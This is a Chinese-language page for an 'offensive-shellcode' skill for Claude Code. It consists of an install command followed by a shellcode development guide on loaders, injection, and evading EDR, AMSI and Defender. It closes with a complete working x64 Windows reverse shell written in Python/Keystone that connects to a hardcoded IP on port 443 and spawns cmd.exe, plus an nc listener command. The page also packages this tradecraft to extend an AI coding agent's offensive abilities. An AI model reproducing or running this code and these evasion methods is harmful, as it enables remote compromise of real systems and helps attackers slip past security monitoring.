关于 offensive-shellcode
面向安全研究人员的 Shellcode 开发参考指南,介绍跨平台代码编写、加载器、测试与分析主题。内容整理了执行流程、技术选项和相关工具示例。
主要功能
- 01Shellcode 开发流程概览
- 02位置无关代码技术参考
- 03Windows API 解析方法
- 04加载器分配、写入与执行流程
- 05PE 转 Shellcode 工具索引
- 06跨平台注意事项
适用场景
- 01研究不同平台的 Shellcode 执行机制
- 02比较加载器实现步骤
- 03查找 PE 转 Shellcode 方案
- 04梳理 Shellcode 测试与调试流程
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-shellcode安装后在 Claude Code 中输入/offensive-shellcode确认已加载。
详细介绍
Shellcode 开发工作流
- 确定概念和目标平台(x86/x64、Windows/Linux/macOS)
- 使用与位置无关的技术编写汇编代码
- 提取二进制文件,并在受控环境中测试
- 避免空字节并进行优化
- 进行编码/加密,以规避静态检测
- 与加载器打包,并选择投递方式
基本概念
执行模式(分配-写入-执行)
避免直接使用 PAGE_EXECUTE_READWRITE——建议:
- 使用
PAGE_READWRITE分配内存 - 将 shellcode 写入已分配的区域
- 调用
VirtualProtect,将权限切换为PAGE_EXECUTE_READ
char *dest = VirtualAlloc(NULL, 0x1234, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
memcpy(dest, shellcode, 0x1234);
VirtualProtect(dest, 0x1234, PAGE_EXECUTE_READ, &old);
((void(*)())dest)();
与位置无关代码(PIC)技术
| 方法 | 平台 | 说明 |
|---|---|---|
| Call/Pop | Windows | 压入下一条地址,并弹出到寄存器 |
| FPU 状态 | Windows | fstenv 保存指令指针 |
| SEH | Windows | 异常处理程序存储 EIP |
| GOT | Linux | 全局偏移表 |
| VDSO | Linux | 内核提供的共享对象 |
Windows API 解析(遍历 PEB)
无需导入表即可识别 kernel32.dll:
- 通过
gs:[0x60](x64)或fs:[0x30](x86)获取PEB - 遍历
PEB->Ldr.InMemoryOrderModuleList——顺序为:exe → ntdll → kernel32 - 对模块名称进行哈希比对,以定位
kernel32 - 解析导出地址表(EAT)
- 按名称哈希查找
GetProcAddress,然后解析LoadLibraryA - 使用
LoadLibraryA加载WS2_32.dll,并解析 Winsock 函数
用于调试 PEB 遍历的 WinDbg 辅助命令:
dt nt!_TEB -y ProcessEnvironmentBlock @$teb
dt nt!_PEB -y Ldr <peb_addr>
dt -r _PEB_LDR_DATA <ldr_addr>
dt _LDR_DATA_TABLE_ENTRY (<init_flink_addr> - 0x10)
lm m kernel32 # verify base address
r @r8 # check register
Shellcode 加载器
加载器职责
- 环境验证/密钥生成(沙箱检测)
- 解密 shellcode
- 安全地分配内存并注入
- 注入完成后结束其职责
推荐语言: Zig(体积小、无运行时)、Rust(安全)、Nim、Go(注意运行时特征)
分配阶段
避免分配 RWX 内存——采用两步操作:
VirtualAllocEx/NtAllocateVirtualMemory——分配RWZwCreateSection+NtMapViewOfSection——替代方案- 写入后:使用
VirtualProtectEx将权限切换为RX
其他选项: 代码洞、栈/堆(禁用 DEP)
写入阶段
WriteProcessMemory/NtWriteVirtualMemory- 将
memcpy到映射的节
规避技巧:
- 在 shellcode 前添加虚假操作码
- 将其拆分为多个块,并按随机顺序写入
- 在写入之间添加延迟
执行阶段
这是审查最严格的步骤——EDR 会检查线程起始地址是否位于映像支持的内存中:
| 技术 | 说明 |
|---|---|
CreateRemoteThread / ZwCreateThreadEx | 动静大,受到严密监控 |
NtSetContextThread | 劫持已挂起的线程 |
NtQueueApcThreadEx | APC 注入 |
| API 蹦床 | 覆盖函数序言 |
| ThreadlessInject | 不创建新线程 |
间接执行资源:
PE 到 Shellcode 的转换
| 工具 | 用途 |
|---|---|
| Donut | EXE/DLL → shellcode |
| sRDI | DLL → 与位置无关的 shellcode |
| Pe2shc | PE → shellcode |
| Amber | 反射式 PE 打包器 |
开源加载器:
- ScareCrow
- NimPackt-v1
- NullGate — 间接系统调用 + 无用写入序列
- DripLoader — 分块 RW 写入 + 直接系统调用 + JMP 蹦床
- ProtectMyTooling — 串联多种防护措施
- 直接系统调用辅助工具:SysWhispers3、FreshyCalls(现已成为基线要求)
Shellcode 存储与隐藏
| 位置 | 风险 | 备注 |
|---|---|---|
硬编码在 .text 中 | 中 | 需要重新编译;存储权限为 RW/RO |
PE 资源(RCDATA) | 高 | 大多数都会被 AV 扫描 |
| 额外的 PE 节 | 中 | 使用倒数第二个节 |
| 证书表 | 低 | 保持已签名 PE 的签名完整 |
| 托管在互联网 | 不定 | SharpShooter |
证书表技术(推荐):
- 用 shellcode 字节填充证书表;更新 PE 头
- 仅对加载器 DLL 做后门处理(例如,
teams.exe中的ffmpeg.dll) - 主可执行文件的签名仍然有效;只有 DLL 的签名会失效
**保护:**使用 LZMA 压缩;存储前使用 XOR32、RC4 或 AES 加密。
**Windows 11 24H2 说明:**AMSI 堆扫描已启用。使用
PAGE_NOACCESS分配内存,原地解密,然后切换为PAGE_EXECUTE_READ,以避免实时堆扫描。
规避
逐步升级规避手段
- 基本的 shellcode 执行(基线)
- 添加 XOR/AES 加密和混淆
- 使用直接系统调用绕过用户态钩子
- 将远程进程注入作为最后手段
本地注入与远程注入
远程注入更容易被检测到:
CFG/CIG强制实施- ETW Ti 数据流
- EDR 调用栈回溯(
NtOpenProcess调用来源) - 审查更严格的步骤:OpenProcess → Allocate → Write → Execute
Defender 绕过工具(DefenderBypass):
myEncoder3.py— 对二进制 shellcode 进行 XOR 加密InjectBasic.cpp— 基本的 C++ 注入器InjectCryptXOR.cpp— XOR 解密并注入InjectSyscall-LocalProcess.cpp— 直接系统调用,不含可疑的 IAT 条目InjectSyscall-RemoteProcess.cpp— 通过直接系统调用进行远程进程注入
跨平台注意事项
Windows on ARM64(WoA)
- 系统调用使用
SVC 0,ARM64 表位于ntdll!KiServiceTableArm64 - 指针认证(PAC)会对 LR 签名——避免栈透视,或使用
PACIASP重新签名
Linux 6.9+(eBPF Arena)
BPF_MAP_TYPE_ARENA映射可以存放可执行内存- 将 shellcode 片段隐藏在 arena 映射中,通过
bpf_prog_run_pin_on_cpu执行
macOS(已签名系统卷)
- macOS 12+ 会密封系统分区;未签名的载荷不能存放在其中
- 用户空间:启动代理、在
/Library/Apple/System/Library/Dyld/中劫持 dylib - 内核持久化:创建已密封快照,以 RW 方式挂载,注入,使用
kmutil重新签名,然后 bless
DripLoader 技术
github.com/xuanxuan0/DripLoader:
- 使用
NO_ACCESS保留 64KB 块 - 在该内存池中分配 4KB 的
RW块 - 按随机顺序分块写入 shellcode
- 将保护属性改为
RX - 用 JMP 跳板覆盖
ntdll!RtlpWow64CtxFromAmd64的序言 - 所有调用均通过直接系统调用完成:
NtAllocateVirtualMemory、NtWriteVirtualMemory、NtCreateThreadEx
完整的 x64 反向 Shell Shellcode(Windows)
完整的 Python/Keystone 示例,实现 PEB 遍历 → GetProcAddress → LoadLibraryA → Winsock 连接 → CreateProcessA(cmd.exe):
import ctypes, struct
from keystone import *
CODE = (
# Locate kernel32 Base Address
" start: "
" add rsp, 0xfffffffffffffdf8 ;" # Avoid Null Byte and make some space
" find_kernel32: "
" int3 ;" # WinDbg breakpoint (disable for release)
" xor rcx, rcx ;"
" mov rax, gs:[rcx + 0x60] ;" # RAX = PEB
" mov rax, [rax + 0x18] ;" # RAX = PEB->Ldr
" mov rsi, [rax + 0x20] ;" # RSI = InMemoryOrderModuleList
" lodsq ;"
" xchg rax, rsi ;"
" lodsq ;"
" mov rbx, [rax + 0x20] ;" # RBX = kernel32 base
" mov r8, rbx ;"
# Parse Export Address Table
" mov ebx, [rbx+0x3C] ;" # PE signature offset
" add rbx, r8 ;" # RBX = PE header
" xor r12,r12 ;"
" add r12, 0x88FFFFF ;"
" shr r12, 0x14 ;"
" mov edx, [rbx+r12] ;" # EAT RVA
" add rdx, r8 ;" # RDX = EAT VA
" mov r10d, [rdx+0x14] ;" # NumberOfFunctions
" xor r11, r11 ;"
" mov r11d, [rdx+0x20] ;" # AddressOfNames RVA
" add r11, r8 ;" # AddressOfNames VA
# Find GetProcAddress
" mov rcx, r10 ;"
" k32findfunction: "
" jecxz functionfound ;"
" xor ebx,ebx ;"
" mov ebx, [r11+4+rcx*4] ;" # Function name RVA
" add rbx, r8 ;" # Function name VA
" dec rcx ;"
" mov rax, 0x41636f7250746547 ;" # 'GetProcA'
" cmp [rbx], rax ;"
" jnz k32findfunction ;"
# Get function address
" functionfound: "
" xor r11, r11 ;"
" mov r11d, [rdx+0x24] ;" # AddressOfNameOrdinals RVA
" add r11, r8 ;"
" inc rcx ;"
" mov r13w, [r11+rcx*2] ;" # Ordinal
" xor r11, r11 ;"
" mov r11d, [rdx+0x1c] ;" # AddressOfFunctions RVA
" add r11, r8 ;"
" mov eax, [r11+4+r13*4] ;"
" add rax, r8 ;" # GetProcAddress VA
" mov r14, rax ;" # R14 = GetProcAddress
# Resolve LoadLibraryA
" mov rcx, 0x41797261 ;"
" push rcx ;"
" mov rcx, 0x7262694c64616f4c ;"
" push rcx ;" # 'LoadLibraryA'
" mov rdx, rsp ;"
" mov rcx, r8 ;" # kernel32 base
" sub rsp, 0x30 ;"
" call r14 ;" # GetProcAddress(kernel32, LoadLibraryA)
" add rsp, 0x40 ;"
" mov rsi, rax ;" # RSI = LoadLibraryA
# LoadLibrary("WS2_32.dll")
" xor rax, rax ;"
" mov rax, 0x6C6C ;"
" push rax ;"
" mov rax, 0x642E32335F325357 ;"
" push rax ;" # 'WS2_32.dll'
" mov rcx, rsp ;"
" sub rsp, 0x30 ;"
" call rsi ;" # LoadLibraryA("WS2_32.dll")
" mov r15, rax ;" # R15 = WS2_32 base
" add rsp, 0x40 ;"
# WSAStartup
" mov rax, 0x7075 ;"
" push rax ;"
" mov rax, 0x7472617453415357 ;"
" push rax ;" # 'WSAStartup'
" mov rdx, rsp ;"
" mov rcx, r15 ;"
" sub rsp, 0x30 ;"
" call r14 ;" # GetProcAddress(ws2_32, WSAStartup)
" add rsp, 0x40 ;"
" mov r12, rax ;"
" xor rcx,rcx ;"
" mov cx,408 ;"
" sub rsp,rcx ;"
" lea rdx,[rsp] ;" # lpWSAData
" mov cx,514 ;" # wVersionRequired = 2.2
" sub rsp,88 ;"
" call r12 ;" # WSAStartup
# WSASocketA — create socket
" mov rax, 0x4174 ;"
" push rax ;"
" mov rax, 0x656b636f53415357 ;"
" push rax ;" # 'WSASocketA'
" mov rdx, rsp ;"
" mov rcx, r15 ;"
" sub rsp, 0x30 ;"
" call r14 ;"
" add rsp, 0x40 ;"
" mov r12, rax ;"
" sub rsp,0x208 ;"
" xor rdx, rdx ;"
" sub rsp, 88 ;"
" mov [rsp+32], rdx ;"
" mov [rsp+40], rdx ;"
" inc rdx ;"
" mov rcx, rdx ;"
" inc rcx ;"
" xor r8,r8 ;"
" add r8,6 ;"
" xor r9,r9 ;"
" mov r9w,98*4 ;"
" mov ebx,[r15+r9] ;"
" xor r9,r9 ;"
" call r12 ;" # WSASocketA
" mov r13, rax ;" # R13 = socket handle
" add rsp, 0x208 ;"
# WSAConnect — connect to C2
" mov rax, 0x7463 ;"
" push rax ;"
" mov rax, 0x656e6e6f43415357 ;"
" push rax ;" # 'WSAConnect'
" mov rdx, rsp ;"
" mov rcx, r15 ;"
" sub rsp, 0x30 ;"
" call r14 ;"
" add rsp, 0x40 ;"
" mov r12, rax ;"
" mov rcx, r13 ;" # socket handle
" sub rsp,0x208 ;"
" xor rax,rax ;"
" inc rax ;"
" inc rax ;"
" mov [rsp], rax ;" # AF_INET = 2
" mov rax, 0xbb01 ;" # Port 443 (big-endian)
" mov [rsp+2], rax ;"
" mov rax, 0x31061fac ;" # IP 172.31.6.49 — UPDATE THIS
" mov [rsp+4], rax ;"
" lea rdx,[rsp] ;"
" mov r8, 0x16 ;" # sizeof(sockaddr_in)
" xor r9,r9 ;"
" push r9 ;"
" push r9 ;"
" push r9 ;"
" sub rsp, 0x88 ;"
" call r12 ;" # WSAConnect
# Re-locate kernel32 and resolve CreateProcessA
" xor rcx, rcx ;"
" mov rax, gs:[rcx + 0x60] ;"
" mov rax, [rax + 0x18] ;"
" mov rsi, [rax + 0x20] ;"
" lodsq ;"
" xchg rax, rsi ;"
" lodsq ;"
" mov rbx, [rax + 0x20] ;"
" mov r8, rbx ;"
" mov rax, 0x41737365636f ;"
" push rax ;"
" mov rax, 0x7250657461657243 ;"
" push rax ;" # 'CreateProcessA'
" mov rdx, rsp ;"
" mov rcx, r8 ;"
" sub rsp, 0x30 ;"
" call r14 ;"
" add rsp, 0x40 ;"
" mov r12, rax ;" # R12 = CreateProcessA
# Push cmd.exe + build STARTUPINFOA
" mov rax, 0x6578652e646d63 ;"
" push rax ;" # 'cmd.exe'
" mov rcx, rsp ;" # lpApplicationName
" push r13 ;" # hStdError = socket
" push r13 ;" # hStdOutput = socket
" push r13 ;" # hStdInput = socket
" xor rax,rax ;"
" push ax ;"
" push rax ;"
" push rax ;"
" mov rax, 0x100 ;" # STARTF_USESTDHANDLES
" push ax ;"
" xor rax,rax ;"
" push ax ;"
" push ax ;"
" push rax ;"
" push rax ;"
" push rax ;"
" push rax ;"
" push rax ;"
" push rax ;"
" mov rax, 0x68 ;"
" push rax ;" # cb = 0x68
" mov rdi,rsp ;" # RDI = &STARTUPINFOA
# Call CreateProcessA
" mov rax, rsp ;"
" sub rax, 0x500 ;"
" push rax ;" # lpProcessInformation
" push rdi ;" # lpStartupInfo
" xor rax, rax ;"
" push rax ;" # lpCurrentDirectory = NULL
" push rax ;" # lpEnvironment = NULL
" push rax ;"
" inc rax ;"
" push rax ;" # bInheritHandles = TRUE
" xor rax, rax ;"
" push rax ;"
" push rax ;"
" push rax ;"
" push rax ;" # dwCreationFlags = 0
" mov r8, rax ;" # lpThreadAttributes = NULL
" mov r9, rax ;" # lpProcessAttributes = NULL
" mov rdx, rcx ;" # lpCommandLine = 'cmd.exe'
" mov rcx, rax ;" # lpApplicationName = NULL
" call r12 ;" # CreateProcessA
)
ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)
sh = b""
for e in encoding:
sh += struct.pack("B", e)
shellcode = bytearray(sh)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
ctypes.windll.kernel32.RtlCopyMemory.argtypes = (ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t)
ctypes.windll.kernel32.CreateThread.argtypes = (
ctypes.c_int, ctypes.c_int, ctypes.c_void_p,
ctypes.c_int, ctypes.c_int, ctypes.POINTER(ctypes.c_int),
)
ptr = ctypes.windll.kernel32.VirtualAlloc(
ctypes.c_int(0), ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000), ctypes.c_int(0x40)
)
buf = (ctypes.c_char * len(shellcode)).from_buffer_copy(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(ptr), buf, ctypes.c_int(len(shellcode)))
print("Shellcode at %s" % hex(ptr))
input("Press ENTER to execute...")
ht = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0), ctypes.c_int(0), ctypes.c_void_p(ptr),
ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)),
)
ctypes.windll.kernel32.WaitForSingleObject(ht, -1)
**注意:**使用前更新 IP(
0x31061fac)和端口(0xbb01)。监听器:nc -nvlp 443**Windows 11 23H2:**Smart App Control 可能会阻止向本地子网的 TCP 443/4444 出站连接。请使用非标准端口或命名管道载荷。